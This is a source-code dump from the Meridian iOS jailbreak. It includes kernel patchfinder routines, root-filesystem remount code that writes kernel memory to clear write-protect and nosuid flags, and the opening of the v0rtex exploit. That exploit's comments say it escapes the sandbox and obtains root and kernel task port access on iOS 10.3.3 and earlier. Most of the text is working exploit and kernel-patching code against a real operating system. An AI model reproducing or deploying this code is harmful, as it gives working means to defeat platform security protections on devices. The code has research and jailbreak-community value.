        bof = bof64(kernel, xnucore_base, where);
        if (!bof) {
            bof = xnucore_base;
        }
    } else if (where > prelink_base) {
        bof = bof64(kernel, prelink_base, where);
        if (!bof) {
            bof = prelink_base;
        }
    }
    val = calc64(kernel, bof, where, reg);
    if (!val) {
        return 0;
    }
    return val + kerndumpbase;
}

addr_t
find_reference(addr_t to, int n, int prelink)
{
    addr_t ref, end;
    addr_t base = xnucore_base;
    addr_t size = xnucore_size;
    if (prelink) {
        base = prelink_base;
        size = prelink_size;
    }
    if (n <= 0) {
        n = 1;
    }
    end = base + size;
    to -= kerndumpbase;
    do {
        ref = xref64(kernel, base, end, to);
        if (!ref) {
            return 0;
        }
        base = ref + 4;
    } while (--n > 0);
    return ref + kerndumpbase;
}

addr_t
find_strref(const char *string, int n, int prelink)
{
    uint8_t *str;
    addr_t base = cstring_base;
    addr_t size = cstring_size;
    if (prelink) {
        base = pstring_base;
        size = pstring_size;
    }
    str = boyermoore_horspool_memmem(kernel + base, size, (uint8_t *)string, strlen(string));
    if (!str) {
        return 0;
    }
    return find_reference(str - kernel + kerndumpbase, n, prelink);
}

addr_t find_trustcache(void) {
    addr_t call, func, val;
    addr_t ref = find_strref("amfi_prevent_old_entitled_platform_binaries", 1, 1);
    if (!ref) {
        ref = find_strref("com.apple.MobileFileIntegrity", 1, 1);
    }
    if (!ref) {
        printf("didnt find string ref\n");
        return 0;
    }
    ref -= kerndumpbase;
    call = step64(kernel, ref, 32, INSN_CALL);
    if (!call) {
        printf("couldn't find the call\n");
        return 0;
    }
    call = step64(kernel, call+4, 32, INSN_CALL);
    func = follow_call64(kernel, call);
    if (!func) {
        printf("couldn't follow the call\n");
        return 0;
    }
    val = calc64(kernel, func, func + 16, 8);
    if (!val) {
        return 0;
    }
    return val + kerndumpbase;
}

addr_t find_amficache(void) {
    addr_t call, func, bof, val;
    addr_t ref = find_strref("amfi_prevent_old_entitled_platform_binaries", 1, 1);
    if (!ref) {
        ref = find_strref("com.apple.MobileFileIntegrity", 1, 1);
    }
    if (!ref) {
        printf("didnt find string ref\n");
        return 0;
    }
    ref -= kerndumpbase;
    call = step64(kernel, ref, 32, INSN_CALL);
    if (!call) {
        printf("couldn't find the call\n");
        return 0;
    }
    call = step64(kernel, call+4, 32, INSN_CALL);
    func = follow_call64(kernel, call);
    if (!func) {
        printf("couldn't follow the call\n");
        return 0;
    }
    bof = bof64(kernel, func - 256, func);
    if (!bof) {
        printf("couldn't find the start of the function\n");
        return 0;
    }
    val = calc64(kernel, bof, func, 9);
    if (!val) {
        printf("couldn't find x9\n");
        return 0;
    }
    return val + kerndumpbase;
}

uint64_t find_boot_args(unsigned* cmdline_offset) {
    /*
     ADRP            X8, #_PE_state@PAGE
     ADD             X8, X8, #_PE_state@PAGEOFF
     LDR             X8, [X8,#(PE_state__boot_args - 0xFFFFFFF0078BF098)]
     ADD             X8, X8, #0x6C
     STR             X8, [SP,#0x550+var_550]
     ADRP            X0, #aBsdInitCannotF@PAGE ; "\"bsd_init: cannot find root vnode: %s"...
     ADD             X0, X0, #aBsdInitCannotF@PAGEOFF ; "\"bsd_init: cannot find root vnode: %s"...
     BL              _panic
     */

    addr_t ref = find_strref("\"bsd_init: cannot find root vnode: %s\"", 1, 0);

    if (ref == 0) {
        return 0;
    }

    ref -= kerndumpbase;
    // skip add & adrp for panic str
    ref -= 8;
    uint32_t *insn = (uint32_t*)(kernel+ref);

    // skip str
    --insn;
    // add xX, xX, #cmdline_offset
    uint8_t xm = *insn&0x1f;
    if (((*insn>>5)&0x1f) != xm || ((*insn>>22)&3) != 0) {
        return 0;
    }

    *cmdline_offset = (*insn>>10) & 0xfff;

    uint64_t val = kerndumpbase;

    --insn;
    // ldr xX, [xX, #(PE_state__boot_args - PE_state)]
    if ((*insn & 0xF9C00000) != 0xF9400000) {
        return 0;
    }
    // xd == xX, xn == xX,
    if ((*insn&0x1f) != xm || ((*insn>>5)&0x1f) != xm) {
        return 0;
    }

    val += ((*insn >> 10) & 0xFFF) << 3;

    --insn;
    // add xX, xX, #_PE_state@PAGEOFF
    if ((*insn&0x1f) != xm || ((*insn>>5)&0x1f) != xm || ((*insn>>22)&3) != 0) {
        return 0;
    }

    val += (*insn>>10) & 0xfff;

    --insn;
    if ((*insn & 0x1f) != xm) {
        return 0;
    }

    // pc
    val += ((uint8_t*)(insn) - kernel) & ~0xfff;

    // don't ask, I wrote this at 5am
    val += (*insn<<9 & 0x1ffffc000) | (*insn>>17 & 0x3000);

    return val;
}

addr_t find_add_x0_x0_0x40_ret(void) {
    addr_t off;
    uint32_t *k;
    k = (uint32_t *)(kernel + xnucore_base);
    for (off = 0; off < xnucore_size - 4; off += 4, k++) {
        if (k[0] == 0x91010000 && k[1] == 0xD65F03C0) {
            return off + xnucore_base + kerndumpbase;
        }
    }
    k = (uint32_t *)(kernel + prelink_base);
    for (off = 0; off < prelink_size - 4; off += 4, k++) {
        if (k[0] == 0x91010000 && k[1] == 0xD65F03C0) {
            return off + prelink_base + kerndumpbase;
        }
    }
    return 0;
}

addr_t find_OSBoolean_True(void) {
    addr_t val;
    addr_t ref = find_strref("Delay Autounload", 0, 0);
    if (!ref) {
        return 0;
    }
    ref -= kerndumpbase;
    
    addr_t weird_instruction = 0;
    for (int i = 4; i < 4*0x100; i+=4) {
        uint32_t op = *(uint32_t *)(kernel + ref + i);
        if (op == 0x320003E0) {
            weird_instruction = ref+i;
            break;
        }
    }
    if (!weird_instruction) {
        return 0;
    }
    
    val = calc64(kernel, ref, weird_instruction, 8);
    if (!val) {
        return 0;
    }
    
    return rk64(val + kerndumpbase);
}

addr_t find_OSBoolean_False(void) {
    return find_OSBoolean_True() + 8;
}

addr_t find_OSUnserializeXML(void) {
    addr_t ref = find_strref("OSUnserializeXML: %s near line %d\n", 1, 0);
    ref -= kerndumpbase;
    uint64_t start = bof64(kernel, xnucore_base, ref);
    return start + kerndumpbase;
}

addr_t find_smalloc(void) {
    addr_t ref = find_strref("sandbox memory allocation failure", 1, 1);
    ref -= kerndumpbase;
    uint64_t start = bof64(kernel, prelink_base, ref);
    return start + kerndumpbase;
}

addr_t find_cs_find_md(uint64_t sha1_init, uint64_t sha1_update, uint64_t sha1_final) {
    addr_t match[6] = { 1, 0x14, 0x14, sha1_init, sha1_update, sha1_final };
    
    addr_t ref = (addr_t)boyermoore_horspool_memmem(kernel + (data_const_base - kerndumpbase), data_const_size, (unsigned char*)match, sizeof(match));
    
    if (ref == 0) ref = (addr_t)boyermoore_horspool_memmem(kernel + (data_base - kerndumpbase), data_size, (unsigned char*)match, sizeof(match));
    
    if (ref == 0) return 0;
    
    addr_t *testing = (addr_t *)ref;
    ref = ref - (addr_t)kernel + kerndumpbase;
    
    if (*(testing - 6) == 2 && *(testing + 6) != 2) {
        match[0] = ref;
        match[1] = ref - 0x30;
        match[2] = ref - 0x30 * 2;
        match[3] = ref - 0x30 * 3;
    } else if (*(testing - 6) != 2 && *(testing + 6) == 2) {
        match[0] = ref;
        match[1] = ref + 0x30;
        match[2] = ref + 0x30 * 2;
        match[3] = ref + 0x30 * 3;
    } else {
        return 0;
    }
    
    ref = (addr_t)boyermoore_horspool_memmem(kernel + (data_const_base - kerndumpbase), data_const_size, (unsigned char*)match, 8*4);
    
    if (ref != 0) return ref - (addr_t)kernel + kerndumpbase;
    
    return 0;
}


================================================
FILE: Meridian/Meridian/patchfinders/patchfinder64.h
================================================
#ifndef PATCHFINDER64_H_
#define PATCHFINDER64_H_

#import "common.h"
#import <mach/mach.h>

int init_patchfinder(const char *filename);
void term_kernel(void);

enum { SearchInCore, SearchInPrelink };

uint64_t find_register_value(uint64_t where, int reg);
uint64_t find_reference(uint64_t to, int n, int prelink);
uint64_t find_strref(const char *string, int n, int prelink);

// amfi trust cache patching
uint64_t find_trustcache(void);
uint64_t find_amficache(void);

// lwvm patching for <10.3
uint64_t find_boot_args(unsigned *cmdline_offset);

// used in jailbreakd
uint64_t find_add_x0_x0_0x40_ret(void);
uint64_t find_OSBoolean_True(void);
uint64_t find_OSBoolean_False(void);
uint64_t find_OSUnserializeXML(void);
uint64_t find_smalloc(void);
uint64_t find_cs_find_md(uint64_t sha1_init, uint64_t sha1_update, uint64_t sha1_final);

#endif


================================================
FILE: Meridian/Meridian/preferences.h
================================================
//
//  Preferences.h
//  Meridian
//
//  Created by Ben Sparkes on 28/07/2018.
//

#ifndef Preferences_h
#define Preferences_h

enum {
    Port22 = 0,
    Port2222,
    Port222222
};

void setTweaksEnabled(BOOL enabled);
BOOL tweaksAreEnabled(void);
void setStartLaunchDaemonsEnabled(BOOL enabled);
BOOL startLaunchDaemonsIsEnabled(void);
void setBootNonceValue(uint64_t bootNonce);
uint64_t getBootNonceValue(void);
void setStartDropbearEnabled(BOOL enabled);
BOOL startDropbearIsEnabled(void);
void setListenPort(NSInteger portOption);
NSInteger listenPort(void);

#endif /* Preferences_h */


================================================
FILE: Meridian/Meridian/preferences.m
================================================
//
//  Preferences.m
//  Meridian
//
//  Created by Ben Sparkes on 28/07/2018.
//

#import <Foundation/Foundation.h>

#import "preferences.h"

#define TweaksKey               @"tweaksAreEnabled"
#define StartLaunchDaemonsKey   @"startLaunchDaemonsEnabled"
#define BootNonceKey            @"bootNonce"
#define StartDropbearKey        @"startDropbearEnabled"
#define PortKey                 @"listenPortOption"

#define ELECTRA_GENERATOR       0xbd34a880be0b53f3

void setTweaksEnabled(BOOL enabled) {
    [[NSUserDefaults standardUserDefaults] setBool:enabled forKey:TweaksKey];
    [[NSUserDefaults standardUserDefaults] synchronize];
}

BOOL tweaksAreEnabled() {
    NSNumber *enabled = [[NSUserDefaults standardUserDefaults] objectForKey:TweaksKey];
    
    return (enabled) ? [enabled boolValue] : true;
}

void setStartLaunchDaemonsEnabled(BOOL enabled) {
    [[NSUserDefaults standardUserDefaults] setBool:enabled forKey:StartLaunchDaemonsKey];
    [[NSUserDefaults standardUserDefaults] synchronize];
}

BOOL startLaunchDaemonsIsEnabled() {
    NSNumber *enabled = [[NSUserDefaults standardUserDefaults] objectForKey:StartLaunchDaemonsKey];
    
    return (enabled) ? [enabled boolValue] : true;
}

void setBootNonceValue(uint64_t bootNonce) {
    [[NSUserDefaults standardUserDefaults] setInteger:bootNonce forKey:BootNonceKey];
    [[NSUserDefaults standardUserDefaults] synchronize];
}

uint64_t getBootNonceValue() {
    NSInteger integer = [[NSUserDefaults standardUserDefaults] integerForKey:BootNonceKey];
    
    return (integer != 0x0) ? integer : ELECTRA_GENERATOR;
}

void setStartDropbearEnabled(BOOL enabled) {
    [[NSUserDefaults standardUserDefaults] setBool:enabled forKey:StartDropbearKey];
    [[NSUserDefaults standardUserDefaults] synchronize];
}

BOOL startDropbearIsEnabled() {
    NSNumber *enabled = [[NSUserDefaults standardUserDefaults] objectForKey:StartDropbearKey];
    
    return (enabled) ? [enabled boolValue] : false;
}

void setListenPort(NSInteger portOption) {
    [[NSUserDefaults standardUserDefaults] setInteger:portOption forKey:PortKey];
    [[NSUserDefaults standardUserDefaults] synchronize];
}

NSInteger listenPort(void) {
    NSNumber *portOption = [[NSUserDefaults standardUserDefaults] objectForKey:PortKey];
    
    return (portOption) ? portOption.integerValue : Port222222;
}


================================================
FILE: Meridian/Meridian/root-rw.h
================================================
//
//  root-rw.h
//  Meridian
//
//  Created by Ben Sparkes on 16/12/2017.
//  Copyright © 2017 Ben Sparkes. All rights reserved.
//

#include <mach/mach.h>
#include <sys/mount.h>

int mount_root(uint64_t kslide, uint64_t root_vnode, int pre130);


================================================
FILE: Meridian/Meridian/root-rw.m
================================================
//
//  root-rw.m
//  Meridian
//
//  Created by Ben Sparkes on 16/12/2017.
//  Copyright © 2017 Ben Sparkes. All rights reserved.
//

#include "root-rw.h"
#include "kernel.h"
#include "patchfinder64.h"
#include "helpers.h"
#include "ViewController.h"
#include "offsetfinder.h"
#include <stdio.h>
#include <unistd.h>
#include <sys/utsname.h>
#include <sys/types.h>
#include <sys/sysctl.h>

#define MOUNT_MNT_FLAG    0x70
#define VNODE_V_UN        0xd8
#define VNODE_V_UN_OTHER  0xd0

const unsigned OFF_LWVM__PARTITIONS = 0x1a0;
const unsigned OFF_LWVMPART__ISWP = 0x28;
const unsigned OFF_PROC__TASK = 0x18;
const unsigned OFF_IPC_PORT__IP_KOBJECT = 0x68;
const unsigned OFF_IPC_SPACE__IS_TABLE = 0x20;
const unsigned SIZ_IPC_ENTRY_T = 0x18;
const unsigned OFF_TASK__ITK_SPACE = 0x300;

#define rkbuffer(w, p, s) kread(w, p, s);
#define wkbuffer(w, p, s) kwrite(w, p, s);

typedef mach_port_t io_service_t;
typedef mach_port_t io_connect_t;
extern const mach_port_t kIOMasterPortDefault;
CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED;
io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT);
kern_return_t IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect);

bool fix_root_iswriteprotected() {
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("LightweightVolumeManager"));
    if (!MACH_PORT_VALID(service)) {
        return false;
    }
    
    uint64_t inkernel = find_port_address(service);

    uint64_t lwvm_kaddr = rk64(inkernel + OFF_IPC_PORT__IP_KOBJECT);
    uint64_t rootp_kaddr = rk64(lwvm_kaddr + OFF_LWVM__PARTITIONS);
    uint64_t varp_kaddr = rk64(lwvm_kaddr + OFF_LWVM__PARTITIONS + sizeof(void*));

    uint64_t rootp_iswp_addr = rootp_kaddr + OFF_LWVMPART__ISWP;
    uint64_t varp_iswp_addr = varp_kaddr + OFF_LWVMPART__ISWP;
    
    // Check we found the right values
    uint64_t varp_iswp = rk64(varp_iswp_addr);
    if (varp_iswp != 0) {
        NSLog(@"rk64(varp_iswp_addr) != 0! val: %llx", varp_iswp);
        return false;
    }
    
    uint64_t rootp_iswp = rk64(rootp_iswp_addr);
    if (rootp_iswp != 1) {
        NSLog(@"rk64(rootp_iswp_addr) != 1! val: %llx", rootp_iswp);
        return false;
    }
    
    wk64(rootp_iswp_addr, 0);
    return true;
}

#define BOOTARGS_PATCH "rd=mdx"
bool fake_rootedramdisk(void) {
    unsigned cmdline_offset;
    uint64_t pestate_bootargs = find_boot_args(&cmdline_offset);

    if (pestate_bootargs == 0) {
        return false;
    }

    uint64_t struct_boot_args = rk64(pestate_bootargs);
    uint64_t boot_args_cmdline = struct_boot_args + cmdline_offset;

    // max size is 256 on arm
    char buf_bootargs[256];

    rkbuffer(boot_args_cmdline, buf_bootargs, sizeof(buf_bootargs));
    strcat(buf_bootargs, BOOTARGS_PATCH);
    wkbuffer(boot_args_cmdline, buf_bootargs, sizeof(buf_bootargs));

    bzero(buf_bootargs, sizeof(buf_bootargs));
    size_t size = sizeof(buf_bootargs);
    int err = sysctlbyname("kern.bootargs", buf_bootargs, &size, NULL, 0);

    if (err) {
        NSLog(@"sysctlbyname(kern.bootargs) failed");
        return false;
    }

    if (strstr(buf_bootargs, BOOTARGS_PATCH) == NULL) {
        NSLog(@"kern.bootargs doesn't contain '%s' after patch!", BOOTARGS_PATCH);
        NSLog(@"kern.bootargs: '%s'", buf_bootargs);
        return false;
    }

    return true;
}

// props to xerub for the original '/' r/w remount code
int remount_root(uint64_t kslide, uint64_t root_vnode) {
    int ret;
    
    uint64_t _rootnode = root_vnode + kslide;
    
    NSLog(@"_rootnode = %llx", _rootnode);
    
    uint64_t rootfs_vnode = rk64(_rootnode);
    
    NSLog(@"roofs_vnode = %llx", rootfs_vnode);
    
    uint64_t off = VNODE_V_UN;
    struct utsname uts;
    uname(&uts);
    if (strstr(uts.version, "16.0.0")) {
        off = VNODE_V_UN_OTHER;
    }
    
    // read the original flags
    uint64_t v_mount = rk64(rootfs_vnode + off);
    uint32_t v_flag = rk32(v_mount + MOUNT_MNT_FLAG);
    
    NSLog(@"original flags = %x", v_flag);
    
    // unset rootfs flag
    wk32(v_mount + MOUNT_MNT_FLAG, v_flag & ~MNT_ROOTFS);
    
    // remount
    char *nmz = strdup("/dev/disk0s1s1");
    ret = mount("hfs", "/", MNT_UPDATE | MNT_NOATIME, (void *)&nmz);
    NSLog(@"remounting: %d", ret);
    
    // read back the new flags set by `mount`
    v_mount = rk64(rootfs_vnode + off);
    v_flag = rk32(v_mount + MOUNT_MNT_FLAG);
    
    NSLog(@"post-mount flags = %x", v_flag);
    
    // set back rootfs & unset nosuid
    v_flag = v_flag |  MNT_ROOTFS;
    v_flag = v_flag & ~MNT_NOSUID;
    
    wk32(v_mount + MOUNT_MNT_FLAG, v_flag);
    
    NSLog(@"final flags = %x", v_flag);
    
    return ret;
}

int mount_root(uint64_t kslide, uint64_t root_vnode, int pre130) {
    if (pre130 == 1) {
        // further patches are requried on <10.3
        NSLog(@"pre-10.3 detected: patching lwvm...");
        if (!fix_root_iswriteprotected()) {
            NSLog(@"fix_root_iswriteprotected failed!");
            return -61;
        }
        if (!fake_rootedramdisk()) {
            NSLog(@"fake_rootedramdisk failed!");
            return -62;
        }
    }
    
    return remount_root(kslide, root_vnode);
}


================================================
FILE: Meridian/Meridian/v0rtex.h
================================================
#import "common.h"
#include <mach/mach.h>
#include <stdint.h>

typedef struct
{
    const char *version;
    kptr_t base;
    // Structure offsets
    kptr_t sizeof_task;
    kptr_t task_itk_self;
    kptr_t task_itk_registered;
    kptr_t task_bsd_info;
    kptr_t proc_ucred;
    kptr_t vm_map_hdr;
    kptr_t ipc_space_is_task;
    kptr_t realhost_special;
    kptr_t iouserclient_ipc;
    kptr_t vtab_get_retain_count;
    kptr_t vtab_get_external_trap_for_index;
    // Data
    kptr_t zone_map;
    kptr_t kernel_map;
    kptr_t kernel_task;
    kptr_t realhost;
    // Code
    kptr_t copyin;
    kptr_t copyout;
    kptr_t chgproccnt;
    kptr_t kauth_cred_ref;
    kptr_t ipc_port_alloc_special;
    kptr_t ipc_kobject_set;
    kptr_t ipc_port_make_send;
    kptr_t osserializer_serialize;
    kptr_t rop_ldr_x0_x0_0x10;
    // Remount 
    kptr_t root_vnode;
    // AMFID stuff
    kptr_t vfs_context_current;
    kptr_t vnode_getfromfd;
    kptr_t vnode_getattr;
    kptr_t vnode_put;
    kptr_t csblob_ent_dict_set;
    kptr_t sha1_init;
    kptr_t sha1_update;
    kptr_t sha1_final;
} offsets_t;

typedef kern_return_t (*v0rtex_cb_t)(task_t tfp0, kptr_t kbase, void *cb_data);

kern_return_t v0rtex(offsets_t *off, v0rtex_cb_t callback, void *cb_data);


================================================
FILE: Meridian/Meridian/v0rtex.m
================================================
// v0rtex
// Bug by Ian Beer.
// Exploit by Siguza.

// Status quo:
// - Escapes sandbox, gets root and tfp0, should work on A7-A10 devices <=10.3.3.
// - Can call arbitrary kernel functions with up to 7 args via KCALL().
// - Relies on mach_zone_force_gc() which was removed in iOS 11, but the same
//   effect should be achievable by continuously spraying through zones and
//   measuring how long it takes - garbage collection usually takes ages. :P
// - Occasionally seems to mess with SpringBoard, i.e. apps don't open when you
//   tap on their icons - sometimes affects only v0rtex, sometimes all of them,
//   sometimes even freezes the lock screen. Can happen even if the exploit
//   aborts very early on, so I'm not sure whether it's even due to that, or due
//   to my broken UI.
// - Most common panic at this point is "pmap_tte_deallocate(): ... refcnt=0x1",
//   which can occur when the app is killed, but only if shmem_addr has been
//   faulted before. Faulting that page can _sometimes_ increase the ref count
//   on its tte entry, which causes the mentioned panic when the task is
//   destroyed and its pmap with it. Exact source of this is unknown, but I
//   suspect it happening in pmap_enter_options_internal(), depending on page
//   compression status (i.e. if the page is compressed refcnt_updated is set to
//   true and the ref count isn't increased afterwards, otherwise it is).
//   On 32-bit such a panic can be temporarily averted with mlock(), but that
//   seems to cause even greater trouble later with zalloc, and on 64-bit mlock
//   even refuses to work. Deallocating shmem_addr from our address space does
//   not fix the problem, and neither does allocating new memory at that address
//   and faulting into it (which should _guarantee_ that the corresponding pmap
//   entry is updated). Fixing up the ref count manually is very tedious and
//   still seems to cause trouble with zalloc. Calling mach_zone_force_gc()
//   after releasing the IOSurfaceRootUserClient port seems to _somewhat_ help,
//   as does calling sched_yield() before mach_vm_remap() and faulting the page
//   right after, so that's what I'm doing for now.
//   In the long term, this should really be replaced by something deterministic
//   that _always_ works (like removing the tte entirely).

// Not sure what'll really become of this, but it's certainly not done yet.
// Pretty sure I'll leave iOS 11 to Ian Beer though, for the time being.

#include <errno.h>              // errno
#include <sched.h>              // sched_yield
#include <stdlib.h>             // malloc, free
#include <string.h>             // strerror
#include <unistd.h>             // usleep, setuid, getuid
#include <mach/mach.h>
#include <mach-o/loader.h>
#include <CoreFoundation/CoreFoundation.h>

#include "common.h"             // LOG, kptr_t
#include "v0rtex.h"

// ********** ********** ********** get rid of ********** ********** **********

#ifdef __LP64__
#   define OFFSET_TASK_ITK_SELF                         0xd8
#   define OFFSET_IOUSERCLIENT_IPC                      0x9c
#else
#   define OFFSET_TASK_ITK_SELF                         0x9c
#   define OFFSET_IOUSERCLIENT_IPC                      0x5c
#endif

#define IOSURFACE_CREATE_OUTSIZE    0x3c8 /* XXX 0x6c8 for iOS 11.0, 0xbc8 for 11.1.2 */

// ********** ********** ********** constants ********** ********** **********

#ifdef __LP64__
#   define KERNEL_MAGIC             MH_MAGIC_64
#   define KERNEL_HEADER_OFFSET     0x4000
#else
#   define KERNEL_MAGIC             MH_MAGIC
#   define KERNEL_HEADER_OFFSET     0x1000
#endif

#define KERNEL_SLIDE_STEP           0x100000

#define NUM_BEFORE                  0x2000
#define NUM_AFTER                   0x1000
#define FILL_MEMSIZE                0x4000000
#if 0
#define NUM_DATA                    0x4000
#define DATA_SIZE                   0x1000
#endif
#ifdef __LP64__
#   define VTAB_SIZE                200
#else
#   define VTAB_SIZE                250
#endif

const uint64_t IOSURFACE_CREATE_SURFACE =  0;
const uint64_t IOSURFACE_SET_VALUE      =  9;
const uint64_t IOSURFACE_GET_VALUE      = 10;
const uint64_t IOSURFACE_DELETE_VALUE   = 11;

const uint32_t IKOT_TASK                = 2;

enum
{
    kOSSerializeDictionary      = 0x01000000U,
    kOSSerializeArray           = 0x02000000U,
    kOSSerializeSet             = 0x03000000U,
    kOSSerializeNumber          = 0x04000000U,
    kOSSerializeSymbol          = 0x08000000U,
    kOSSerializeString          = 0x09000000U,
    kOSSerializeData            = 0x0a000000U,
    kOSSerializeBoolean         = 0x0b000000U,
    kOSSerializeObject          = 0x0c000000U,
    
    kOSSerializeTypeMask        = 0x7F000000U,
    kOSSerializeDataMask        = 0x00FFFFFFU,
    
    kOSSerializeEndCollection   = 0x80000000U,
    
    kOSSerializeMagic           = 0x000000d3U,
};

// ********** ********** ********** macros ********** ********** **********

#define UINT64_ALIGN_DOWN(addr) ((addr) & ~7)
#define UINT64_ALIGN_UP(addr) UINT64_ALIGN_DOWN((addr) + 7)

#if 0
#define UNALIGNED_COPY(src, dst, size) \
do \
{ \
for(volatile uint32_t *_src = (volatile uint32_t*)(src), \
*_dst = (volatile uint32_t*)(dst), \
*_end = (volatile uint32_t*)((uintptr_t)(_src) + (size)); \
_src < _end; \
*(_dst++) = *(_src++) \
); \
} while(0)
#endif

#ifdef __LP64__
#   define UNALIGNED_KPTR_DEREF(addr) (((kptr_t)*(volatile uint32_t*)(addr)) | (((kptr_t)*((volatile uint32_t*)(addr) + 1)) << 32))
#else
#   define UNALIGNED_KPTR_DEREF(addr) ((kptr_t)*(volatile uint32_t*)(addr))
#endif

#define VOLATILE_BCOPY32(src, dst, size) \
do \
{ \
for(volatile uint32_t *_src = (volatile uint32_t*)(src), \
*_dst = (volatile uint32_t*)(dst), \
*_end = (volatile uint32_t*)((uintptr_t)(_src) + (size)); \
_src < _end; \
*(_dst++) = *(_src++) \
); \
} while(0)

#define VOLATILE_BZERO32(addr, size) \
do \
{ \
for(volatile uint32_t *_ptr = (volatile uint32_t*)(addr), \
*_end = (volatile uint32_t*)((uintptr_t)(_ptr) + (size)); \
_ptr < _end; \
*(_ptr++) = 0 \
); \
} while(0)

#define RELEASE_PORT(port) \
do \
{ \
if(MACH_PORT_VALID((port))) \
{ \
_kernelrpc_mach_port_destroy_trap(self, (port)); \
port = MACH_PORT_NULL; \
} \
} while(0)

// ********** ********** ********** IOKit ********** ********** **********

typedef mach_port_t io_service_t;
typedef mach_port_t io_connect_t;
extern const mach_port_t kIOMasterPortDefault;
CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED;
io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT);
kern_return_t IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *client);
kern_return_t IOServiceClose(io_connect_t client);
kern_return_t IOConnectCallStructMethod(mach_port_t connection, uint32_t selector, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt);
kern_return_t IOConnectCallAsyncStructMethod(mach_port_t connection, uint32_t selector, mach_port_t wake_port, uint64_t *reference, uint32_t referenceCnt, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt);
kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6);

// ********** ********** ********** other unexported symbols ********** ********** **********

kern_return_t mach_vm_remap(vm_map_t dst, mach_vm_address_t *dst_addr, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src, mach_vm_address_t src_addr, boolean_t copy, vm_prot_t *cur_prot, vm_prot_t *max_prot, vm_inherit_t inherit);

// ********** ********** ********** helpers ********** ********** **********

static const char *errstr(int r)
{
    return r == 0 ? "success" : strerror(r);
}

static uint32_t transpose(uint32_t val)
{
    uint32_t ret = 0;
    for(size_t i = 0; val > 0; i += 8)
    {
        ret += (val % 255) << i;
        val /= 255;
    }
    return ret + 0x01010101;
}

// ********** ********** ********** MIG ********** ********** **********

static kern_return_t my_mach_zone_force_gc(host_t host)
{
#pragma pack(4)
    typedef struct {
        mach_msg_header_t Head;
    } Request;
    typedef struct {
        mach_msg_header_t Head;
        NDR_record_t NDR;
        kern_return_t RetCode;
        mach_msg_trailer_t trailer;
    } Reply;
#pragma pack()
    
    union {
        Request In;
        Reply Out;
    } Mess;
    
    Request *InP = &Mess.In;
    Reply *OutP = &Mess.Out;
    
    InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    InP->Head.msgh_remote_port = host;
    InP->Head.msgh_local_port = mig_get_reply_port();
    InP->Head.msgh_id = 221;
    InP->Head.msgh_reserved = 0;
    
    kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if(ret == KERN_SUCCESS)
    {
        ret = OutP->RetCode;
    }
    return ret;
}

static kern_return_t my_mach_port_get_context(task_t task, mach_port_name_t name, mach_vm_address_t *context)
{
#pragma pack(4)
    typedef struct {
        mach_msg_header_t Head;
        NDR_record_t NDR;
        mach_port_name_t name;
    } Request;
    typedef struct {
        mach_msg_header_t Head;
        NDR_record_t NDR;
        kern_return_t RetCode;
        mach_vm_address_t context;
        mach_msg_trailer_t trailer;
    } Reply;
#pragma pack()
    
    union {
        Request In;
        Reply Out;
    } Mess;
    
    Request *InP = &Mess.In;
    Reply *OutP = &Mess.Out;
    
    InP->NDR = NDR_record;
    InP->name = name;
    InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    InP->Head.msgh_remote_port = task;
    InP->Head.msgh_local_port = mig_get_reply_port();
    InP->Head.msgh_id = 3228;
    InP->Head.msgh_reserved = 0;
    
    kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if(ret == KERN_SUCCESS)
    {
        ret = OutP->RetCode;
    }
    if(ret == KERN_SUCCESS)
    {
        *context = OutP->context;
    }
    return ret;
}

kern_return_t my_mach_port_set_context(task_t task, mach_port_name_t name, mach_vm_address_t context)
{
#pragma pack(4)
    typedef struct {
        mach_msg_header_t Head;
        NDR_record_t NDR;
        mach_port_name_t name;
        mach_vm_address_t context;
    } Request;
    typedef struct {
        mach_msg_header_t Head;
        NDR_record_t NDR;
        kern_return_t RetCode;
        mach_msg_trailer_t trailer;
    } Reply;
#pragma pack()
    
    union {
        Request In;
        Reply Out;
    } Mess;
    
    Request *InP = &Mess.In;
    Reply *OutP = &Mess.Out;
    
    InP->NDR = NDR_record;
    InP->name = name;
    InP->context = context;
    InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    InP->Head.msgh_remote_port = task;
    InP->Head.msgh_local_port = mig_get_reply_port();
    InP->Head.msgh_id = 3229;
    InP->Head.msgh_reserved = 0;
    
    kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if(ret == KERN_SUCCESS)
    {
        ret = OutP->RetCode;
    }
    return ret;
}

// Raw MIG function for a merged IOSurface deleteValue + setValue call, attempting to increase performance.
// Prepare everything - sched_yield() - fire.
